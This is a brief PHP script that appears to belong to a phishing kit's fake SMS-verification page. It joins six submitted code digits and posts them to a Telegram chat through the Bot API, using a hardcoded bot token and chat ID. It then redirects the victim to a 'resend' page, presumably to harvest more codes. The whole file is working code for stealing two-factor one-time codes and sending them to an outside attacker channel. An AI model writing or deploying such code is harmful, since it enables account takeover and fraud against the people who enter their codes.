<?php
session_start();

// Telegram Bot API details
$botToken = '7879282702:AAHacaQ5ZKhpkNb5sFJosPxat2src5Fw9h0';
$chatId = '6284381665';

// Collect the submitted code
$code = $_POST['code1'] . $_POST['code2'] . $_POST['code3'] . $_POST['code4'] . $_POST['code5'] . $_POST['code6'];

// Send the entered code to Telegram
$message = "User entered SMS Code on verification.php: $code";
$url = "https://api.telegram.org/bot$botToken/sendMessage";
$postData = [
    'chat_id' => $chatId,
    'text' => $message,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Redirect to resend_verification.php
header("Location: resend_verification.php");
exit;
?>
